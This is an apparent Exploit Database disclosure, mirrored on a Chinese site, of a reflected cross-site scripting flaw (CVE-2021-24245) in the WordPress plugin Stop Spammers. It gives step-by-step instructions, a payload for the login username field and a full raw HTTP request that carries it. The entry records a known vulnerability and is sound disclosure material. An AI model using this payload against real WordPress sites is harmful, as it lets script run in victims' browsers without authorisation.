WordPress Plugin Stop Spammers 2021.8 – ‘log’ Reflected Cross-site Scripting (XSS)

• Exploit Database
• 121 阅读

• 作者： Hosein Vita
  日期： 2021-05-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49880/
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  # Exploit Title: WordPress Plugin Stop Spammers 2021.8 - &apos;log&apos; Reflected Cross-site Scripting (XSS) # Date: 04/08/2021 # Exploit Author: Hosein Vita # Vendor Homepage: https://wordpress.org/plugins/stop-spammer-registrations-plugin/ # Software Link: https://downloads.wordpress.org/plugin/stop-spammer-registrations-plugin.zip # Version: <= 2021.8 # Tested on: Windows-Ubuntu # CVE : CVE-2021-24245   Summary:   Reflected cross-site scripting (XSS) vulnerabilities in &apos;Stop Spammers <= 2021.8&apos; allow remote attackers to run arbitary javascript   Proof of concepts:   1-Install "Stop Spammers <= 2021.8" in your wordpress website 2-For testing remove your IP address from the allowed list 3-Go to http://<YOUR-WEBSITE>/wp-admin 4-In username field enter this payload ~> ad" accesskey=X onclick=alert(1) " #Notice the <code>ad</code> keyword must be in your payload! 5-Press Alt + Shift + X to trigger Xss #Tested on Firefox   Request POC:   POST /wp-login.php HTTP/1.1 Host: localhost Connection: close Content-Length: 161 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: wordpress_test_cookie=WP+Cookie+check;   log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1